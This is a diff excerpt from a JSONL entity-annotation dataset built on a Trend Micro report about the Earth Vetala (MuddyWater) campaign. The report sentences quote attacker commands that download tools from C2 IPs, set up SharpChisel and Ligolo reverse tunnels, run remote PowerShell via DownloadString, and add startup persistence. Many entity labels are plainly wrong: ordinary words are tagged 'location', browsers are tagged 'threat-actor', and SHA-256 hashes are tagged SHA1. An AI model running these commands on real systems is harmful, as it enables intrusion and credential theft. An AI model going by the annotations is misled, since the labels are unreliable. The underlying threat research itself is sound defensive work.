9937,"label":"IPV4","start_offset":999,"end_offset":1016},{"id":19938,"label":"IPV4","start_offset":1017,"end_offset":1031},{"id":19939,"label":"IPV4","start_offset":1032,"end_offset":1047},{"id":19940,"label":"IPV4","start_offset":1048,"end_offset":1063},{"id":19941,"label":"IPV4","start_offset":1064,"end_offset":1080},{"id":19942,"label":"IPV4","start_offset":1081,"end_offset":1098},{"id":19943,"label":"IPV4","start_offset":1099,"end_offset":1113},{"id":19944,"label":"IPV4","start_offset":1114,"end_offset":1131},{"id":19945,"label":"IPV4","start_offset":1132,"end_offset":1148},{"id":19946,"label":"IPV4","start_offset":1149,"end_offset":1165},{"id":19947,"label":"IPV4","start_offset":1166,"end_offset":1181},{"id":19948,"label":"IPV4","start_offset":1182,"end_offset":1197},{"id":19949,"label":"IPV4","start_offset":1198,"end_offset":1214},{"id":19950,"label":"IPV4","start_offset":1215,"end_offset":1229},{"id":19951,"label":"IPV4","start_offset":1230,"end_offset":1244},{"id":19952,"label":"IPV4","start_offset":1245,"end_offset":1262},{"id":19953,"label":"IPV4","start_offset":1263,"end_offset":1278},{"id":19954,"label":"IPV4","start_offset":1279,"end_offset":1293},{"id":19955,"label":"IPV4","start_offset":1294,"end_offset":1311},{"id":19956,"label":"IPV4","start_offset":1312,"end_offset":1326},{"id":19957,"label":"IPV4","start_offset":1327,"end_offset":1339},{"id":19958,"label":"IPV4","start_offset":1340,"end_offset":1355},{"id":19959,"label":"IPV4","start_offset":1356,"end_offset":1372},{"id":19960,"label":"IPV4","start_offset":1373,"end_offset":1388},{"id":19961,"label":"IPV4","start_offset":1389,"end_offset":1405},{"id":19962,"label":"IPV4","start_offset":1406,"end_offset":1420},{"id":19963,"label":"IPV4","start_offset":1421,"end_offset":1435},{"id":19964,"label":"IPV4","start_offset":1436,"end_offset":1450},{"id":19965,"label":"IPV4","start_offset":1451,"end_offset":1464},{"id":19966,"label":"IPV4","start_offset":1465,"end_offset":1480},{"id":19967,"label":"IPV4","start_offset":1481,"end_offset":1496},{"id":19968,"label":"IPV4","start_offset":1497,"end_offset":1512},{"id":19969,"label":"IPV4","start_offset":1513,"end_offset":1528},{"id":19970,"label":"IPV4","start_offset":1529,"end_offset":1544},{"id":19971,"label":"IPV4","start_offset":1545,"end_offset":1559},{"id":19972,"label":"IPV4","start_offset":1560,"end_offset":1575},{"id":19974,"label":"location","start_offset":1603,"end_offset":1610},{"id":19975,"label":"threat-actor","start_offset":1615,"end_offset":1620},{"id":19976,"label":"attack-pattern","start_offset":1621,"end_offset":1635},{"id":19977,"label":"identity","start_offset":1648,"end_offset":1666},{"id":19978,"label":"threat-actor","start_offset":1700,"end_offset":1705},{"id":19979,"label":"location","start_offset":1761,"end_offset":1767},{"id":19980,"label":"threat-actor","start_offset":1805,"end_offset":1810},{"id":19981,"label":"attack-pattern","start_offset":1811,"end_offset":1819},{"id":19984,"label":"TIME","start_offset":1907,"end_offset":1919}],"relations":[],"Comments":[]} -{"id":6419,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us Please enter your email address!","entities":[{"id":19985,"label":"location","start_offset":64,"end_offset":67},{"id":19986,"label":"location","start_offset":93,"end_offset":98}],"relations":[],"Comments":[]} -{"id":6420,"text":" Please mark, I'm not a robot!","entities":[{"id":19987,"label":"location","start_offset":8,"end_offset":12}],"relations":[],"Comments":[]} -{"id":6421,"text":" By submitting this form, you agree to our Terms of Use and acknowledge our Privacy Statement.","entities":[{"id":19988,"label":"location","start_offset":56,"end_offset":59}],"relations":[],"Comments":[]} -{"id":6422,"text":"Trend Micro researchers recently detected activity targeting various organizations in the Middle East and neighboring regions.","entities":[{"id":19991,"label":"location","start_offset":102,"end_offset":105}],"relations":[],"Comments":[]} -{"id":6423,"text":"We were tipped off to this activity in part by research from Anomali, which also identified a campaign targeting similar victims.","entities":[{"id":19993,"label":"location","start_offset":94,"end_offset":102}],"relations":[],"Comments":[]} {"id":6424,"text":"We believe (with moderate confidence) that this newly identified activity is connected to MuddyWater (also known as TEMP.Zagros, Static Kitten, Seedworm).","entities":[{"id":19994,"label":"location","start_offset":26,"end_offset":36},{"id":19995,"label":"threat-actor","start_offset":90,"end_offset":100},{"id":19996,"label":"threat-actor","start_offset":116,"end_offset":127},{"id":19997,"label":"threat-actor","start_offset":129,"end_offset":142},{"id":19998,"label":"threat-actor","start_offset":144,"end_offset":152}],"relations":[],"Comments":[]} -{"id":6425,"text":"Additionally, we were able to link the Anomali-identified activity to an ongoing campaign in 2021.","entities":[{"id":20000,"label":"location","start_offset":81,"end_offset":89}],"relations":[],"Comments":[]} {"id":6426,"text":"This campaign uses the following legitimate remote admin tools such as: ScreenConnect RemoteUtilities We have named this intrusion set Earth Vetala.","entities":[{"id":20002,"label":"location","start_offset":5,"end_offset":13},{"id":20003,"label":"location","start_offset":44,"end_offset":50},{"id":20004,"label":"malware","start_offset":73,"end_offset":86},{"id":20005,"label":"malware","start_offset":87,"end_offset":102}],"relations":[],"Comments":[]} {"id":6427,"text":"Earth Vetala used spearphishing emails with embedded links to a legitimate file-sharing service to distribute their malicious package.","entities":[],"relations":[],"Comments":[]} -{"id":6428,"text":"The links were embedded within lure documents as well as emails.","entities":[{"id":20008,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]} -{"id":6429,"text":"Once a victim was accessed, attackers would determine if the user account was an administrator or normal user.","entities":[{"id":20009,"label":"location","start_offset":98,"end_offset":104}],"relations":[],"Comments":[]} -{"id":6430,"text":"They would then download post-exploitation tools that included password\/process-dumping utilities, reverse-tunneling tools, and custom backdoors.","entities":[{"id":20010,"label":"location","start_offset":25,"end_offset":29},{"id":20011,"label":"location","start_offset":124,"end_offset":127}],"relations":[],"Comments":[]} {"id":6431,"text":"The threat actors would then initiate communications with additional command-and-control (C&C) infrastructure to execute obfuscated PowerShell scripts.","entities":[{"id":20012,"label":"location","start_offset":77,"end_offset":80},{"id":20013,"label":"attack-pattern","start_offset":132,"end_offset":142}],"relations":[],"Comments":[]} -{"id":6432,"text":"Overview Analysis indicates the Earth Vetala campaign is ongoing and that this threat actor has interests which appear to align with Iran.","entities":[{"id":20015,"label":"location","start_offset":45,"end_offset":53},{"id":20016,"label":"location","start_offset":65,"end_offset":68}],"relations":[],"Comments":[]} {"id":6433,"text":"Earth Vetala historically targets countries in the Middle East.","entities":[],"relations":[],"Comments":[]} -{"id":6434,"text":"In this campaign, Earth Vetala threat actors used spearphishing emails and lure documents against organizations within the United Arab Emirates, Saudi Arabia, Israel, and Azerbaijan.","entities":[{"id":20020,"label":"location","start_offset":8,"end_offset":16},{"id":20022,"label":"location","start_offset":71,"end_offset":74},{"id":20023,"label":"location","start_offset":75,"end_offset":79},{"id":20027,"label":"location","start_offset":167,"end_offset":170}],"relations":[],"Comments":[]} {"id":6435,"text":"The phishing emails and lure documents contain embedded URLs linking to a legitimate file-sharing service to distribute archives containing the ScreenConnect remote administrator tool.","entities":[{"id":20029,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":20030,"label":"location","start_offset":20,"end_offset":23},{"id":20031,"label":"location","start_offset":24,"end_offset":28},{"id":20033,"label":"location","start_offset":158,"end_offset":164},{"id":20034,"label":"location","start_offset":179,"end_offset":183}],"relations":[],"Comments":[]} -{"id":6436,"text":"ScreenConnect is a legitimate application that allows systems administrators to manage their enterprise systems remotely.","entities":[{"id":20036,"label":"location","start_offset":80,"end_offset":86},{"id":20037,"label":"location","start_offset":93,"end_offset":103}],"relations":[],"Comments":[]} -{"id":6437,"text":"Our research found threat indicators that were connected to the same campaign identified by Anomali.","entities":[{"id":20038,"label":"location","start_offset":64,"end_offset":68},{"id":20039,"label":"location","start_offset":69,"end_offset":77}],"relations":[],"Comments":[]} -{"id":6438,"text":"Analysis indicates that Earth Vetala is still ongoing as of the publishing of this post.","entities":[{"id":20042,"label":"location","start_offset":83,"end_offset":87}],"relations":[],"Comments":[]} {"id":6439,"text":"During this campaign, threat actors used post-exploitation tools to dump passwords, tunnel their C&C communication using open-source tools, and use additional C&C infrastructure to establish a persistent presence within targeted hosts and environments.","entities":[{"id":20043,"label":"location","start_offset":12,"end_offset":20},{"id":20044,"label":"location","start_offset":41,"end_offset":45},{"id":20045,"label":"location","start_offset":84,"end_offset":90},{"id":20046,"label":"attack-pattern","start_offset":126,"end_offset":132},{"id":20047,"label":"location","start_offset":140,"end_offset":143},{"id":20048,"label":"location","start_offset":235,"end_offset":238}],"relations":[],"Comments":[]} {"id":6440,"text":"Technical Analysis","entities":[],"relations":[],"Comments":[]} -{"id":6441,"text":"During our research, we observed a spearphishing email allegedly from a government agency.","entities":[{"id":20049,"label":"location","start_offset":83,"end_offset":89}],"relations":[],"Comments":[]} {"id":6442,"text":" Figure 1. Phishing Email with the embedded URL The email attempts to convince recipients to click the URL and download a malicious file.","entities":[{"id":20051,"label":"attack-pattern","start_offset":15,"end_offset":23},{"id":20052,"label":"location","start_offset":116,"end_offset":119}],"relations":[],"Comments":[]} -{"id":6443,"text":"We have seen that one of two files may be downloaded, one being a .PDF file and the other an .RTF file.","entities":[{"id":20055,"label":"location","start_offset":35,"end_offset":38},{"id":20057,"label":"location","start_offset":76,"end_offset":79}],"relations":[],"Comments":[]} -{"id":6444,"text":"As with the spearphishing email, the lure documents' content attempts to convince the victim to click on another malicious URL and download a .ZIP file.","entities":[{"id":20058,"label":"location","start_offset":37,"end_offset":41},{"id":20059,"label":"location","start_offset":53,"end_offset":60},{"id":20060,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]} -{"id":6445,"text":"The .ZIP file contains a copy of a legitimate remote administration software developed by RemoteUtilities and provides remote administration capabilities, including: Downloading and uploading files Grabbing screenshots Browsing files and directories Executing and terminating processes During our research, we were able to discover multiple .ZIP files used to distribute the RemoteUtilities remote administration software in the manner above, with all of these distributing the same RemoteUtilities sample.","entities":[{"id":20061,"label":"location","start_offset":46,"end_offset":52},{"id":20063,"label":"location","start_offset":106,"end_offset":109},{"id":20064,"label":"location","start_offset":119,"end_offset":125},{"id":20065,"label":"location","start_offset":179,"end_offset":182},{"id":20066,"label":"location","start_offset":235,"end_offset":238},{"id":20067,"label":"location","start_offset":261,"end_offset":264},{"id":20069,"label":"location","start_offset":393,"end_offset":399},{"id":20070,"label":"location","start_offset":480,"end_offset":484},{"id":20072,"label":"location","start_offset":501,"end_offset":507}],"relations":[],"Comments":[]} {"id":6446,"text":"The use of this tool differentiates this particular campaign from earlier research, as in previous attacks ScreenConnect was used.","entities":[{"id":20073,"label":"location","start_offset":16,"end_offset":20},{"id":20074,"label":"location","start_offset":52,"end_offset":60},{"id":20075,"label":"malware","start_offset":107,"end_offset":120}],"relations":[],"Comments":[]} {"id":6447,"text":"Otherwise, the TTPs in use remain broadly similar.","entities":[],"relations":[],"Comments":[]} {"id":6448,"text":"RemoteUtilities Analysis","entities":[{"id":20076,"label":"tools","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]} @@ -3530,46 +4951,32 @@ {"id":6450,"text":" Figure 4.","entities":[],"relations":[],"Comments":[]} {"id":6451,"text":"RemoteUtilities Installation The MSI installer installs a service on the victim machine called Remote Utilities – Host: Figure 5.","entities":[{"id":20079,"label":"malware","start_offset":0,"end_offset":15}],"relations":[],"Comments":[]} {"id":6452,"text":"Remote Utilities Service The service then communicates with the domain id.remoteutilities.com, which belongs to RemoteUtilities.","entities":[{"id":20082,"label":"malware","start_offset":0,"end_offset":16}],"relations":[],"Comments":[]} -{"id":6453,"text":"This connection is related to one of its features called Internet-ID Connection.","entities":[{"id":20085,"label":"location","start_offset":30,"end_offset":33}],"relations":[],"Comments":[]} {"id":6454,"text":"This feature allows an intermediary Internet server to broker the connection, similar to a proxy server.","entities":[],"relations":[],"Comments":[]} -{"id":6455,"text":"This allows the threat actor to connect to the Internet-ID server, which then connects to the actual RemoteUtilities host.","entities":[{"id":20087,"label":"location","start_offset":117,"end_offset":121}],"relations":[],"Comments":[]} {"id":6456,"text":" Figure 6. id-server connection ","entities":[],"relations":[],"Comments":[]} -{"id":6457,"text":"Post-Exploitation Analysis","entities":[{"id":20089,"label":"location","start_offset":0,"end_offset":4}],"relations":[],"Comments":[]} -{"id":6458,"text":"During our research, we discovered a compromised host in Saudi Arabia that used ScreenConnect remote administration software.","entities":[{"id":20090,"label":"location","start_offset":49,"end_offset":53},{"id":20093,"label":"location","start_offset":94,"end_offset":100}],"relations":[],"Comments":[]} {"id":6459,"text":"They were targeted via a malicious .ZIP file (SHA256 hash: b2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf) that contained a ScreenConnect executable (SHA256 hash: 2f429efdb1801892ec8a2bcdd00a44d6ee31df04721482a1927fc6df554cdcf)","entities":[{"id":20094,"label":"SHA1","start_offset":59,"end_offset":123},{"id":20096,"label":"SHA1","start_offset":181,"end_offset":244}],"relations":[],"Comments":[]} {"id":6460,"text":"As noted above, the ScreenConnect executable connects to the Internet-ID server, which is located at instance-sy9at2-relay.screenconnect.com and resolves to 51.68.244.39.","entities":[{"id":20099,"label":"location","start_offset":141,"end_offset":144},{"id":20100,"label":"IPV4","start_offset":157,"end_offset":169}],"relations":[],"Comments":[]} -{"id":6461,"text":"The same domain was mentioned in the previous research.","entities":[{"id":20101,"label":"location","start_offset":4,"end_offset":8}],"relations":[],"Comments":[]} -{"id":6462,"text":"We then observed the threat actors interact with the compromised host using the ScreenConnect software, executing the following commands.","entities":[{"id":20102,"label":"location","start_offset":65,"end_offset":69}],"relations":[],"Comments":[]} {"id":6463,"text":"cmd.exe net user \/domain","entities":[{"id":20104,"label":"malware","start_offset":0,"end_offset":7},{"id":20105,"label":"malware","start_offset":8,"end_offset":11}],"relations":[],"Comments":[]} {"id":6464,"text":"The command above allows the attacker to get all the users from the domain controller.","entities":[],"relations":[],"Comments":[]} {"id":6465,"text":"The next command executed is the following: powershell.exe -exec bypass -w 1 -file a.ps1","entities":[],"relations":[],"Comments":[]} {"id":6466,"text":"This is a command to execute a PowerShell script of some kind.","entities":[{"id":20106,"label":"attack-pattern","start_offset":31,"end_offset":41}],"relations":[],"Comments":[]} {"id":6467,"text":"However, we did not have access to the a.ps1 file.","entities":[],"relations":[],"Comments":[]} -{"id":6468,"text":"We are not sure what functionality is provided here.","entities":[{"id":20107,"label":"location","start_offset":3,"end_offset":6}],"relations":[],"Comments":[]} {"id":6469,"text":"The next command issued is the following: powershell.exe iwr -uri http:\/\/87.236.212[.]184\/SharpChisel.exe -outfile c:\\programdata\\SharpChisel.exe -usebasicparsing","entities":[{"id":20108,"label":"URL","start_offset":66,"end_offset":89}],"relations":[],"Comments":[]} {"id":6470,"text":"The command is connected to 187.236.212[.]184 and downloads a file called SharpChisel.exe (SHA256: 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2) and saves the file to the C:\\programdata directory.","entities":[{"id":20109,"label":"IPV4","start_offset":28,"end_offset":45},{"id":20110,"label":"location","start_offset":46,"end_offset":49},{"id":20111,"label":"SHA1","start_offset":99,"end_offset":163},{"id":20112,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]} {"id":6471,"text":"The name SharpChisel may be related to the purpose of this file, which is a C# wrapper for a tunneling tool called chisel.","entities":[{"id":20113,"label":"location","start_offset":21,"end_offset":24},{"id":20114,"label":"location","start_offset":103,"end_offset":107},{"id":20115,"label":"malware","start_offset":115,"end_offset":121}],"relations":[],"Comments":[]} {"id":6472,"text":"The above IP address is geolocated to a server in Iran.","entities":[],"relations":[],"Comments":[]} {"id":6473,"text":"The following command then configures SharpChisel: C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999","entities":[],"relations":[],"Comments":[]} -{"id":6474,"text":"This directs all traffic to the localhost at port 9999 to the same remote server.","entities":[{"id":20118,"label":"location","start_offset":62,"end_offset":66},{"id":20119,"label":"location","start_offset":67,"end_offset":73}],"relations":[],"Comments":[]} {"id":6475,"text":"Another instance of SharpChisel with different settings is executed, this time using PowerShell using the following command line: powershell.exe C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:443 R:8888:127.0.0.1:9999","entities":[{"id":20121,"label":"location","start_offset":74,"end_offset":78},{"id":20122,"label":"attack-pattern","start_offset":85,"end_offset":95}],"relations":[],"Comments":[]} -{"id":6476,"text":"This time, traffic will be forwarded to the server over port 443.","entities":[{"id":20123,"label":"location","start_offset":5,"end_offset":9},{"id":20124,"label":"location","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]} {"id":6477,"text":"A third SharpChisel instance that connects to a different C&C server at 23.95.215.100:8080 is started via the following command: C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:8080 r:8888:127.0.0.1:9999 It is then configured with the following command line PowerShell command: powershell.exe C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:8080 R:8888:127.0.0.1:9999","entities":[{"id":20125,"label":"attack-pattern","start_offset":264,"end_offset":274}],"relations":[],"Comments":[]} {"id":6478,"text":"We believe that the threat actor was unable to configure SharpChisel to work correctly.","entities":[],"relations":[],"Comments":[]} -{"id":6479,"text":"The use of the following command provides additional evidence to support our assumption: powershell.exe iwr -uri hxxp:\/\/87.236.212[.]184\/procdump64.exe -outfile c:\\programdata\\procdump64.exe -usebasicparsing","entities":[{"id":20126,"label":"location","start_offset":77,"end_offset":87}],"relations":[],"Comments":[]} -{"id":6480,"text":"The command connects to the C&C server, downloads procdump64.exe, and saves the file in the C:\\programdata directory.","entities":[{"id":20127,"label":"location","start_offset":66,"end_offset":69}],"relations":[],"Comments":[]} {"id":6481,"text":"That supports our assumption that SharpChisel could not be configured correctly, and the attacker instead used PowerShell to download and run the legitimate procdump64.exe utility.","entities":[{"id":20128,"label":"location","start_offset":18,"end_offset":28},{"id":20129,"label":"location","start_offset":81,"end_offset":84},{"id":20130,"label":"attack-pattern","start_offset":111,"end_offset":121},{"id":20131,"label":"location","start_offset":134,"end_offset":137},{"id":20132,"label":"location","start_offset":172,"end_offset":179}],"relations":[],"Comments":[]} {"id":6482,"text":" Figure 7.","entities":[],"relations":[],"Comments":[]} {"id":6483,"text":"LIGOLO execution example","entities":[],"relations":[],"Comments":[]} {"id":6484,"text":" This was done using two separate commands: C:\\programdate\\1.exe -relayserver 87.236.212[.]184:5555 C:\\users\\public\\new.exe -relayserver 87.236.212[.]184:5555","entities":[],"relations":[],"Comments":[]} {"id":6485,"text":"We then see the threat actor again attempting to use SharpChisel several times using the following command: C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 r:8888:127.0.0.1:9999 powershell.exe C:\\programdata\\SharpChisel.exe client 87.236.212[.]184:8080 R:8888:127.0.0.1:9999","entities":[],"relations":[],"Comments":[]} {"id":6486,"text":"We conclude that a tunneling connection to the C&C server could not be established, even after attempts to do so with two different tools.","entities":[],"relations":[],"Comments":[]} -{"id":6487,"text":"Following the unsuccessful attempt to configure a tunnel connection to their C&C server, the threat actors downloaded a remote access tool (RAT) and attempted to configure it.","entities":[{"id":20133,"label":"location","start_offset":50,"end_offset":56},{"id":20134,"label":"location","start_offset":120,"end_offset":126},{"id":20135,"label":"location","start_offset":134,"end_offset":138},{"id":20136,"label":"location","start_offset":145,"end_offset":148}],"relations":[],"Comments":[]} {"id":6488,"text":"The following PowerShell command was used for this: powershell.exe iwr -uri hxxp:\/\/87.236.212[.]184\/out1 -outfile c:\\users\\public\\out1.exe -usebasicparsing","entities":[{"id":20137,"label":"attack-pattern","start_offset":14,"end_offset":24},{"id":20138,"label":"tools","start_offset":100,"end_offset":104}],"relations":[],"Comments":[]} -{"id":6489,"text":"The command downloads out1.exe and saves the file in the C:\\users\\public\\ directory.","entities":[{"id":20139,"label":"location","start_offset":31,"end_offset":34}],"relations":[],"Comments":[]} {"id":6490,"text":"Using a UPX unpacker, we were able to extract the contents, which consists of a Python executable.","entities":[],"relations":[],"Comments":[]} {"id":6491,"text":"We then decompiled the python executable using pyinstxtractor.py to get all of the Python bytecode files.","entities":[],"relations":[],"Comments":[]} -{"id":6492,"text":"These are then decompiled to get the original python code using easypythondecompiler.","entities":[{"id":20141,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]} {"id":6493,"text":"The out1.exe RAT has the following capabilities: Data encoding Email parsing File and registry copy HTTP\/S connection support Native command line Process and file execution ","entities":[{"id":20142,"label":"attack-pattern","start_offset":50,"end_offset":63},{"id":20143,"label":"location","start_offset":83,"end_offset":86},{"id":20144,"label":"location","start_offset":155,"end_offset":158}],"relations":[],"Comments":[]} {"id":6494,"text":"After this, the file C:\\users\\public\\Browser64.exe is run.","entities":[],"relations":[],"Comments":[]} {"id":6495,"text":"Browser64 is a tool that extracts credentials from the following applications: Chrome Chromium Firefox Opera Internet Explorer Outlook Figure 8.","entities":[{"id":20146,"label":"location","start_offset":15,"end_offset":19},{"id":20147,"label":"threat-actor","start_offset":87,"end_offset":95},{"id":20148,"label":"location","start_offset":104,"end_offset":109},{"id":20149,"label":"location","start_offset":128,"end_offset":135}],"relations":[],"Comments":[]} @@ -3577,13 +4984,10 @@ {"id":6497,"text":"iex(new","entities":[],"relations":[],"Comments":[]} {"id":6498,"text":"object","entities":[],"relations":[],"Comments":[]} {"id":6499,"text":"System.Net.WebClient).DownloadString('hxxp:\/\/23.94.50[.]197:444\/index.jsp\/deb2b1a127c472229babbb8dc2dca1c2\/QPKb49mivezAdai1","entities":[{"id":20151,"label":"malware","start_offset":7,"end_offset":10},{"id":20152,"label":"MD5","start_offset":74,"end_offset":106}],"relations":[],"Comments":[]} -{"id":6500,"text":"They again attempted to use SharpChisel with no success: powershell.exe C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\\programdata\\SharpChisel.exe client 23.95.215[.]100:443 R:8888:127.0.0.1:9999 C:\\programdata\\SharpChisel.exe server -p 9999 --socks5","entities":[{"id":20153,"label":"location","start_offset":48,"end_offset":55}],"relations":[],"Comments":[]} {"id":6501,"text":"Finally, we observed a persistence mechanism being set using the following commands: cmd.exe \/c Wscript.exe \"C:\\Users\\[REDACTED]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\news.js\" cmd.exe \/c \"C:\\Users\\[REDACTED]\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\newsblog.js\"","entities":[{"id":20154,"label":"tools","start_offset":85,"end_offset":92},{"id":20155,"label":"malware","start_offset":201,"end_offset":208}],"relations":[],"Comments":[]} {"id":6502,"text":" We were able to get a copy of newsblog.js, which is a simple VBS downloader that communicates with the following URL: hxxp:\/\/23[.]95[.]215[.]100:8008\/index.jsp\/7e95a3d753cc4a17793ef9513e030b49\/4t2Fg7k6wWRnKgd9 Figure 9.","entities":[{"id":20156,"label":"MD5","start_offset":151,"end_offset":210}],"relations":[],"Comments":[]} {"id":6503,"text":"newsblog.js","entities":[],"relations":[],"Comments":[]} -{"id":6504,"text":" The script sets up a new HTTP object and then tries to disable the system's local proxy settings.","entities":[{"id":20157,"label":"location","start_offset":41,"end_offset":44}],"relations":[],"Comments":[]} {"id":6505,"text":"The script then executes an HTTP GET request to the C&C URL, grabs the server's response, and sleeps for 10 seconds.","entities":[{"id":20158,"label":"location","start_offset":61,"end_offset":66},{"id":20159,"label":"location","start_offset":90,"end_offset":93},{"id":20160,"label":"TIME","start_offset":105,"end_offset":115}],"relations":[],"Comments":[]} -{"id":6506,"text":"At the time of our analysis, this server was still available.","entities":[{"id":20161,"label":"location","start_offset":7,"end_offset":11}],"relations":[],"Comments":[]} {"id":6507,"text":"The response from the server contains an encoded PowerShell script, which is executed in memory.","entities":[{"id":20162,"label":"attack-pattern","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]} {"id":6508,"text":"Decoding this script reveals that it contains a backdoor:","entities":[],"relations":[],"Comments":[]} {"id":6509,"text":" Figure 10. deobfuscated PowerShell backdoor The screenshot above shows an abbreviated view of the in-memory PowerShell backdoor.","entities":[{"id":20163,"label":"attack-pattern","start_offset":29,"end_offset":39},{"id":20164,"label":"location","start_offset":95,"end_offset":99},{"id":20165,"label":"attack-pattern","start_offset":117,"end_offset":127}],"relations":[],"Comments":[]} @@ -3591,11 +4995,7 @@ {"id":6511,"text":" Check for Skype connectivity Download and install Skype Encoded communication with its C2 Execute commands sent from the C2 server Get multifactor authentication settings Get the currently logged on user and OS version Earth Vetala Footprint Earth Vetala conducted an extensive offensive campaign targeting multiple countries.","entities":[{"id":20167,"label":"location","start_offset":1,"end_offset":6},{"id":20168,"label":"location","start_offset":39,"end_offset":42},{"id":20171,"label":"location","start_offset":205,"end_offset":208},{"id":20172,"label":"threat-actor","start_offset":221,"end_offset":233},{"id":20173,"label":"threat-actor","start_offset":244,"end_offset":256},{"id":20174,"label":"location","start_offset":290,"end_offset":298}],"relations":[],"Comments":[]} {"id":6512,"text":"We observed it operating in the following countries: Azerbaijan Bahrain Israel Saudi Arabia United Arab Emirates Figure 11.","entities":[],"relations":[],"Comments":[]} {"id":6513,"text":"Affected countries We observed Earth Vetala target the following sectors: Government Agencies Academia Tourism Trend Micro Solutions Earth Vetala represents an interesting threat.","entities":[{"id":20181,"label":"threat-actor","start_offset":35,"end_offset":47},{"id":20182,"label":"location","start_offset":48,"end_offset":54},{"id":20183,"label":"location","start_offset":99,"end_offset":107},{"id":20184,"label":"location","start_offset":123,"end_offset":128},{"id":20185,"label":"threat-actor","start_offset":139,"end_offset":151}],"relations":[],"Comments":[]} -{"id":6514,"text":"While it possesses remote access capabilities, the attackers seem to lack the expertise to use all of these tools correctly.","entities":[{"id":20186,"label":"location","start_offset":19,"end_offset":25},{"id":20187,"label":"location","start_offset":69,"end_offset":73}],"relations":[],"Comments":[]} {"id":6515,"text":"This is unexpected since we believe this attack is connected to the MuddyWater threat actors — and in other connected campaigns, the attackers have shown higher levels of technical skill.","entities":[{"id":20188,"label":"threat-actor","start_offset":68,"end_offset":78},{"id":20189,"label":"location","start_offset":95,"end_offset":98},{"id":20190,"label":"location","start_offset":161,"end_offset":167}],"relations":[],"Comments":[]} -{"id":6516,"text":"Our findings in this area were made possible by our Dedicated Intelligence Research (DIR) analysts.","entities":[{"id":20191,"label":"location","start_offset":31,"end_offset":35}],"relations":[],"Comments":[]} -{"id":6517,"text":"They are on-hand to help organizations reach important decisions and understand the nature of the security challenges they face.","entities":[{"id":20192,"label":"location","start_offset":5,"end_offset":8},{"id":20193,"label":"location","start_offset":12,"end_offset":16},{"id":20194,"label":"location","start_offset":65,"end_offset":68},{"id":20195,"label":"location","start_offset":98,"end_offset":106}],"relations":[],"Comments":[]} -{"id":6518,"text":"For more information on the Dedicated Intelligence Research service, please contact your regional Sales team to learn more.","entities":[{"id":20196,"label":"location","start_offset":76,"end_offset":83}],"relations":[],"Comments":[]} {"id":6519,"text":" MITRE ATT&CK Techniques Mapping Tactic Technique Resource Development Acquire Infrastructure: Web Services – T1583.006 Initial Access Phishing: Spearphishing Attachment – T1566.001 Phishing: Spearphishing Link – T1566.002 Execution Command and Scripting Interpreter: PowerShell – T1059.001","entities":[{"id":20197,"label":"attack-pattern","start_offset":142,"end_offset":150},{"id":20198,"label":"attack-pattern","start_offset":152,"end_offset":176},{"id":20199,"label":"attack-pattern","start_offset":189,"end_offset":197},{"id":20200,"label":"attack-pattern","start_offset":199,"end_offset":217},{"id":20201,"label":"location","start_offset":250,"end_offset":253},{"id":20202,"label":"attack-pattern","start_offset":254,"end_offset":263},{"id":20203,"label":"attack-pattern","start_offset":277,"end_offset":287}],"relations":[],"Comments":[]} {"id":6520,"text":"Command and Scripting Interpreter: Windows Command Shell – T1059.003","entities":[{"id":20204,"label":"location","start_offset":8,"end_offset":11},{"id":20205,"label":"attack-pattern","start_offset":12,"end_offset":21},{"id":20206,"label":"location","start_offset":51,"end_offset":56}],"relations":[],"Comments":[]} {"id":6521,"text":"Command and Scripting Interpreter: Visual Basic – T1059.005 User Execution: Malicious Link – T1204.001 User Execution: Malicious File – T1204.002 Persistence, Privilege Escalation Boot or Logon Autostart Execution: Registry Run Keys \/ Startup Folder - T1547.001 Discovery Account Discovery: Domain Account - T1087.002 Credential Access Credentials from Password Stores: Credentials from Web Browsers – T1555.003 Command and Control Data Encoding: Standard Encoding – T1132.001 Defense Evasion Deobfuscate\/Decode Files or Information - T1140 Indicators of Compromise Files File name SHA-256 Trend Micro Detection Name Description SharpChisel.exe 61f83466b512eb12fc82441259a5205f076254546a7726a2e3e983011898e4e2 HackTool.MSIL.Chisel.A SharpChisel tunneling tool PD64.dll ccdddd1ebf3c5de2e68b4dcb8fbc7d4ed32e8f39f6fdf71ac022a7b4d0aa4131 Trojan.Win64.PASSDUMP.A File used by HackTool.Win64.PassDump.AC PasswordDumper.exe 0cd6f593cc58ba3ac40f9803d97a6162a308ec3caa53e1ea1ce7f977f2e667d3 